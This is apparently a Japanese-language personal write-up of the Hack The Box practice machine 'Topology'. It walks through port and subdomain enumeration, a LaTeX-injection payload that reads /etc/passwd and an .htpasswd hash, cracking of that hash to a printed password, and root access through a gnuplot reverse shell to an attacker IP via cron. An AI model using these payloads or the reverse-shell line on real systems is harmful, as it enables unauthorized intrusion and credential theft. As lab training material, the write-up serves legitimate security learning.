HTB_topology - meruneru/tech_memo GitHub Wiki
SSHとHTTPが開いている。
#script無し、全探索
┌──(kali㉿kali)-[~/htb/topology]
└─$ nmap -Pn -p- --min-rate 5000 -oN nmap.txt topology.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 21:19 EDT
Nmap scan report for topology.htb (10.10.11.217)
Host is up (0.30s latency).
Not shown: 65411 filtered tcp ports (no-response), 122 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# その後、ポート指定して、スクリプト検索
┌──(kali㉿kali)-[~/htb/topology]
└─$ nmap -sV -sC -Pn -p 22,80 --min-rate 5000 -oN nmap.txt topology.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 21:18 EDT
Nmap scan report for topology.htb (10.10.11.217)
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDP
$ sudo nmap -sU -top-ports 20 topology.htb
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
サイトに行くと、大学のページで、LaTex Equation Generatorというサービスを公開していた。
http://latex.topology.htb/equation.php サブドメインにlatexが付いているので、/etc/hostsに追加する。
サブドメインが他にもありそうなので、調べてみる。
dev.topology.htb, stats.topology.htb を見つけた。
┌──(kali㉿kali)-[~/htb/topology]
└─$ sudo wfuzz -w /home/kali/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -c -f wfuzz-output.txt -u "topology.htb" -H "HOST:FUZZ.topology.htb" --hc 301 --hh 6767
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 401 14 L 54 W 463 Ch "dev - dev"
000000061: 200 5 L 9 W 108 Ch "stats - stats"
画像が貼ってあるサイトだった。
Local file injection ( road-not-taken 参照)を狙えるかと思ったが、apacheのバージョンで脆弱性を調べても、なさそうだった。
また、wgetで色々な階層を試しても違った。 wget http://stats.topology.htb/files/../etc/passwd
<center>
<p><img src="files/network.png" /></p>
<p>---</p>
<p><img src="files/load.png" /></p>
</center>パスワードは、.htpasswdにあるが、403でアクセス権限がなかった。
┌──(kali㉿kali)-[~/htb/topology]
└─$ gobuster dir -u stats.topology.htb -w ~/SecLists/Discovery/Web-Content/common.txt
/.hta (Status: 403) [Size: 283]
/.htpasswd (Status: 403) [Size: 283]
/.htaccess (Status: 403) [Size: 283]
/files (Status: 301) [Size: 324] [--> http://stats.topology.htb/files/]
/index.html (Status: 200) [Size: 108]
/javascript (Status: 301) [Size: 329] [--> http://stats.topology.htb/javascript/]
https://gitlab.com/pentest-tools/PayloadsAllTheThings/-/tree/master/LaTeX%20Injection
このページでLatex injectionが成立することがわかった。
数式モード($で囲う)と画像化できた。 いくつかのコマンドは制限がかかっていてエラーになるので、使えるコマンドを試行錯誤で探す必要があった。
$\lstinputlisting{/etc/passwd}$
vdaisley というアカウントがあることがわかった。
statsサブドメイン、devサブドメインがあること、 gobusterで.htpasswdがあることを元に、下記を試すとvdaisleyのパスワードハッシュが見れた。
$\lstinputlisting{/var/www/dev/.htpasswd}$
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
上記パスワードハッシュはAPR1-MD5とのこと。(Chat GPTに聞いてみた)
The string is typically in the format: `$apr1$salt$hashed_password`
- `$apr1$`: This indicates the use of the APR1-MD5 hashing algorithm.
- `salt`: The salt value used for hashing.
- `hashed_password`: The result of hashing the password and salt.
john the ripperで解析すると、calculus20 とのこと。
┌──(kali㉿kali)-[~/htb/topology]
└─$ cat id.txt
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
┌──(kali㉿kali)-[~/htb/topology]
└─$ john id.txt -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20 (vdaisley)
1g 0:00:00:11 DONE (2023-08-14 05:32) 0.08920g/s 88810p/s 88810c/s 88810C/s caleb1012..calcula95
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
vdaisley / calculus20でログインできた。
ユーザーフラグゲット。
PATHのsnapってなんだろ?
┌──(kali㉿kali)-[~/htb/topology]
└─$ ssh topology.htb -l vdaisley
-bash-5.0$ cat user.txt
-bash-5.0$ id
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley)
-bash-5.0$ env
...
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
...
権限昇格のための情報を収集する #LinPEAS github を実行する。
╔══════════╣ CVEs Check
Vulnerable to CVE-2021-3560
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - //DNS
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
-rwsr-xr-x 1 root root 1.2M Apr 18 2022 /usr/bin/bash
CVE-2021-3560-Polkit-Privilege-Esclation が狙えそう。
Polkit(旧名PolicyKit)とは、Unix系オペレーティングシステムで、システム全体の権限を制御するためのアプリケーション開発ツールキットである。このライブラリによって、特権を持たないプロセスが、特権を持つプロセスと通信することができるようになる。sudoのようなコマンドと比較すると、プロセス全体に対して特権を与えることはしない。しかし、1つのポリシーで、より細かなポリシーをシステム全体に対して適用できるという特徴がある。 (wikipediaより)
試してみたが、"Gnome-Control-Center"というプロセスが動いていないため、刺さらなかった。
サーバのホームディレクトリに #pspy64 スクリプトがあった。
https://github.com/DominicBreuker/pspy
pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.
それを実行すると、下記ログが表示できた。
cron jobにて、/opt/gnuplot/以下にpltファイルを置くと、自動的に実行してもらえそうだ。
2023/08/14 08:18:01 CMD: UID=0 PID=99011 | /usr/sbin/CRON -f
2023/08/14 08:18:01 CMD: UID=0 PID=99014 | /usr/sbin/CRON -f
2023/08/14 08:18:01 CMD: UID=0 PID=99013 | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
2023/08/14 08:18:01 CMD: UID=0 PID=99021 | gnuplot /opt/gnuplot/loadplot.plt
2023/08/14 08:18:01 CMD: UID=0 PID=99020 | cut -d -f3,7
2023/08/14 08:18:01 CMD: UID=0 PID=99019 | tr -s
2023/08/14 08:18:01 CMD: UID=0 PID=99018 | grep enp
2023/08/14 08:18:01 CMD: UID=0 PID=99017 | netstat -i
2023/08/14 08:18:01 CMD: UID=0 PID=99016 | /bin/sh /opt/gnuplot/getdata.sh
2023/08/14 08:18:01 CMD: UID=0 PID=99015 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/08/14 08:18:01 CMD: UID=0 PID=99025 | /bin/sh /opt/gnuplot/getdata.sh
2023/08/14 08:18:01 CMD: UID=0 PID=99024 | /bin/sh /opt/gnuplot/getdata.sh
gnuplot のリバースシェルを狙うと、うまくささった。
$ ┌──(kali㉿kali)-[~/htb/topology/CVE-2021-3560-Polkit-Privilege-Esclation]
└─$ nc -lnvp 4242
-bash-5.0$ cat reverse.plt
# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/10.10.14.16/4242 0>&1'"
-bash-5.0$ cp reverse.plt /opt/gnuplot/
Cron jobを知りたい → pspy を使う https://github.com/DominicBreuker/pspy#ctf-example-from-hack-the-box
Below is an example from the machine Shrek from Hack The Box. In this CTF challenge, the task is to exploit a hidden cron job that's changing ownership of all files in a folder. The vulnerability is the insecure use of a wildcard together with chmod (details for the interested reader). It requires substantial guesswork to find and exploit it. With pspy though, the cron job is easy to find and analyse: